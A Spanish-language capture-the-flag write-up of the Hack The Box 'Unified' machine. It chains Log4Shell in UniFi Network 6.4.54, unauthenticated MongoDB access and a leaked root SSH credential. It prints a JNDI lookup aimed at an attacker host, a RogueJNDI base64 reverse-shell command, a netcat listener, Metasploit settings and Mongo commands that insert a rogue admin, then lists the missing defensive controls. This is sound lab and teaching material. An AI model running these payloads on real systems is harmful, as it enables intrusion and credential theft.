Unified — Log4Shell (CVE-2021-44228) + MongoDB sin auth → root

Técnica clave: RCE por Log4Shell en UniFi Network (6.4.54), abuso de MongoDB sin autenticación para sembrar un admin y exfiltrar credenciales SSH de root. ⚠️ Flags y credenciales de la box redactadas en la versión pública (cambio los valores a genéricos; tu captura tiene los reales).

1. Reconocimiento

sudo nmap -sC -sV -T4 <IP>

El panel https://<IP>:8443/manage muestra UniFi Network 6.4.54. Esa versión es vulnerable a Log4Shell (CVE-2021-44228).

2. Enumeración / confirmación de vulnerabilidad

UniFi loguea el parámetro remember del POST de login en Log4J sin sanitizar. Se inyecta un lookup JNDI ${jndi:ldap://<LHOST>:389/...} y se monta un rogue LDAP/JNDI en nuestra máquina:

tcpdump -i tun0 port 389 -v &
# RogueJNDI sirviendo el payload
java -jar RogueJndi-1.1.jar --command "bash -c {echo,<rev-shell-b64>}|{base64,-d}|{bash,-i}" --hostname 10.10.x.x
nc -nlvp 4444

Captura la salida de tcpdump en tu sesión → el servidor hace el lookup LDAP saliente → Log4Shell confirmado.

3. Explotación — RCE + reverse shell

Alternativa automatizada con Metasploit:

msfconsole
use exploit/multi/http/ubiquiti_unifi_log4shell
set RHOSTS 10.129.96.149
set RPORT 8443
set SSL true
set LHOST 10.10.x.x
set LPORT 4444
exploit

Se completa el reverse shell contra 10.129.96.149:8443: somos root en el contenedor/shell del controlador (banner de verdad de la box).

Por qué funciona: Log4j resuelve ${jndi:ldap://...} haciendo una consulta LDAP saliente a nuestra infra; el rogue handler devuelve una clase/payload que el servidor ejecuta. Cualquier dato no sanitizado que llegue a un logger.*() es un vector.

4. Post-explotación — MongoDB sin auth

Enumerando procesos aparece MongoDB escuchando en 127.0.0.1:27117 sin autenticación (instancias del controlador UniFi usan la BD ace):

mongo --port 27117 ace --eval "db.admin.find().forEach(printjson);"

Se ven los usuarios del panel con x_shadow (crypt SHA-512, prefijo $6$). En vez de crackear, se siembra un admin controlado:

mkpasswd -m sha-512 <mipassword>
mongo --port 27117 ace --eval 'db.admin.insert({
  "email": "null@localhost.local",
  "last_site_name": "default",
  "name": "admin_sombreado",
  "time_created": NumberLong(100019800),
  "x_shadow": "<hash_sha512>"})'

Con ese admin sembrado se entra a https://<IP>:8443/manage: - Settings → Advanced / Site expone un toggle que habilita SSH. - Settings → Site revela la credencial SSH de root del propio UniFi en claro (la relación app→equipos la mantiene el controlador).

5. Escalada — SSH root

ssh root@<IP>

Con la credencial descubierta en los settings se entra directo como root y se leen user.txt y root.txt.

Por qué funcionó: el controlador guarda los secretos de los dispositivos (y del propio host) en settings accesibles desde el panel — y el panel quedó nuestro por la siembra en Mongo. Sin exploits de kernel: un servicio mal configurado (Mongo sin auth) + secretos en claro.

6. Lecciones para el mundo real

Controles faltantes en la víctima: 1. Componente con CVE-2021-44228 sin parchear (Log4j 2.x < 2.17/JDK 8u191). 2. MongoDB sin autenticación en 27117 (debería bindear a lo justo y exigir auth). 3. Secretos en claro en la config del panel (root SSH password en settings). 4. Sin aislamiento: servicio expuesto a la red y acceso no monitoreado a la BD.

Mapeo a ISO 27002:2022:

7. La cadena en una línea

UniFi 6.4.54 → Log4Shell(${jndi:ldap}) → RCE → Mongo 27117 sin auth → sembrar admin → panel admin → credencial SSH root → root

Nota de trazabilidad: reconstruido desde capturas de sesión (7 ago 2026); IP de box variable por sesión HTB.